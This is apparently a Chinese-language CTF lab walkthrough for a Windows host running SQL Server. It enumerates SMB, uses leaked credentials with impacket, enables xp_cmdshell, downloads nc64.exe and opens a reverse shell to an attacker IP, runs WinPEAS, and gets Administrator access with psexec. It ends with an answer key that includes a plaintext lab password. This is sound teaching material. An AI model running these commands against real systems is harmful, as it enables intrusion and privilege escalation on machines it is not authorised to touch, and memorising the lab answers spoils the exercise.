第一次接触 sqlserver 数据库提权
信息收集
日常扫描,现在的日常扫描基本是用 -sV -v
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000
尝试连接 smb
,无用户密码,只能连接 backups
,发现一个 prod.dtsConfig
文件,打开发现类似数据库账号密码的东西,很多情况都是通过对不同用户分组进行权限设置来管理
┌──(root💀kali)-[~]
└─# smbclient //{target_ip}/backups
sql server
sqlserver
是一种关系型数据库,之前有一期提到非关系型数据库
如何连接呢,使用推荐工具 impacket
包连接,kali
中自带,windwos
可以使用 sqlserver management
桌面管理工具。我在虚拟机中装了(顺便说一下,今天才知道虚拟机也可以装正版windows
)sqlserver视频教程-bilibili 感兴趣的可以看一下
┌──(root💀kali)-[~/tools]
└─# impacket-mssqlclient -h
┌──(root💀kali)-[~/tools]
└─# impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc@{target_ip}
使用 windows
身份验证模式,一共有两种验证模式,后一种就是指定的数据库账号密码(这里需要设置一个 sqlserver
管理员账号,对数据库引擎具有无限制的访问权限)
不同的数据库的利用思路也是差不多的,增删改查,写后门,看数据,sqlserver
教程👉 sqlserver教程 sqlserver
和那个常说的 ms-sql
是一个东西
查看所有数据库名
在安装 sqlserver
时,会默认创建 4 个数据库,这个 master
和 information_schema
很类似,test
是我创建的
master
master 数据库记录了所有的 SQL Server 数据库系统的系统级信息,如用户帐户,配置设置,并存在所有其他数据库信息model
model 数据库是一个模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并更改成你创建数据库时所用的名称msdb
msdb 数据库是 SQL Server 代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等tempdb
tempddb 数据库是由 SQL Server 用于暂时存储数据的,这其中包含所有临时表,临时存储过程,并通过 SQL Server 生成任何其他临时存储需求这些系统数据库有它们特有的用处,系统数据库是我们新建数据库的模板
使用 select
语句查看所有数据库信息,发现只有几个默认数据库
select name from sysdatabases
简单了解
了解 mysql
或其它数据库的同学可以很快上手,新建数据库,表,列,右键编辑前200行添加值
简单例子,右键选择前1000行查看,都是使用通用的 select
、insert
、update
、delete
、order by
等语句 👉sql教程 语句中列值外的中括号可加可不加,通过点 .
来连接库名表名列名
这就是刚才查询的表,查询name
列的值
查询数据
通过简单的数据库查询语句获取信息
查看数据库名
select name from sysdatabases //查询所有数据库名
select db_name() //查看当前数据库名
查看表名
sqlserver
中还存在 information_schema.tables
和information_schema.columns
两个表
select name from sysobjects where xtype='U' //查询当前数据库
select * from information_schema.tables //查询当前数据库
select name from master..sysobjects where xtype='U' //查看指定数据库的表名 使用..连接
查看字段名
select name from syscolumns where id = object_id('people') //查询当前表
select * from information_schema.columns //查询当前表
sp_help 'people' //查询指定表
select name from 数据库名.dbo.syscolumns where id=(select id from 数据库名.dbo.sysobjects where name='表名') //跨库查询指定数据库某表的列
查询具体数据
select * from test..people //数据库..表名
常用函数
select is_srvrolemember('sysadmin') // 判断是否是sa权限 MSSQL数据库的默认系统帐户,具有最高权限
select is_member('db_owner') // 判断是否是db_owner权限 可以执行数据库的所有配置和维护活动
select is_srvrolemember('public') // 判断是否是public权限 可以使用某些系统过程查看并显示master数据库中的信息
select @@version // 数据库版本
select @@servername // 查询服务名
select host_name() // 查询主机名
select db_name() // 查询当前数据库名
翻看了一会没看到什么数据,基本都是空的
shell与提权
xp_cmdshell
xp_cmdshell
可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,是 sql servevr
的原生工具,使用方法如下
SQL> EXEC xp_cmdshell { 'command_string' }
因为经常被用于提权操作,所以默认是关闭的,尝试执行 net user
命令,失败
开启该功能,修改配置,执行如下命令
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
再次执行,成功
我们所说的 shell
可以理解为一个交互式命令行,能执行系统命令或获取系统权限为佳,现在我们的用户是 sql_svc
,目标是获得 system
权限或 Administrator
权限的一个会话,就这点事
使用 netcat 获取 shell:
本地监听 80 端口,目标机器访问下载 nc
本地 nc 监听,目标机器同样使用 nc 连接获取 shell
nc获取shell
本机监听 80 端口
python3 -m http.server 80
lsof -i:80 //查看端口被哪个进程占用
kill -9 2437 //关掉该进程 2437为pid进程号
监听后访问,可以看到如下界面
这就是我们当前的目录,将 nc64.exe
放入此目录,访问 本机ip/nc64.exe
就会下载该文件
使用 wget
访问本机地址下载,失败,无权限
SQL> xp_cmdshell "powershell -c wget http://10.10.16.15/nc64.exe -outfile nc64.exe"
powershell -c
是以 powershell
方式来执行命令
我们可以看看当前目录
SQL> xp_cmdshell "powershell -c pwd"
系统目录,尝试换个目录写,因为系统目录写入一般需要较高权限
SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;pwd"
查看是否写入成功
本机 nc
监听 443 端口,用来监听目标机器获取 shell
会话
nc -lvnp 443
目标机器连接
SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.16.15 443"
一通操作,一看还是 sql_svc
用户,稍安勿躁,这个只是相比较来说会更稳定,看看文件,user.txt
管理员目录无权限访问
提权
下载提权所需文件 WinPEAS,这个 WinPEAS
是一个脚本,用于搜索在 Windows
主机上提升权限的可能方法,进行扫描
C:\Users\sql_svc\Downloads> powershell -c wget http://10.10.16.15/winPEASx64.exe -outfile winPEASx64.exe
执行
C:\Users\sql_svc\Downloads>winPEASx64
经过一堆花花绿绿,最后结束
查看第一个 ConsoleHost_history
文件 ,里面是 Administrator
账号的明文密码
上期使用的 psexec
是在 windows
下安装的,这次使用 kali
自带的 impacket使用
PsExec 是一种轻型 telnet-replacement,可用于在其他系统上执行进程,无需手动安装客户端软件即可完成控制台应用程序的完整交互性。 PsExec 最强大的用途包括在远程系统和远程启用工具(如 IpConfig)上启动交互式命令提示符
impacket-psexec administrator@{target_IP}
查看文件
还有诸多地方细节问题不深究,后续会有阶段总结
放答案
1433
backups
M3g4c0rp123
mssqlclient.py
xp_cmdshell
winPEAS
ConsoleHost_history.txt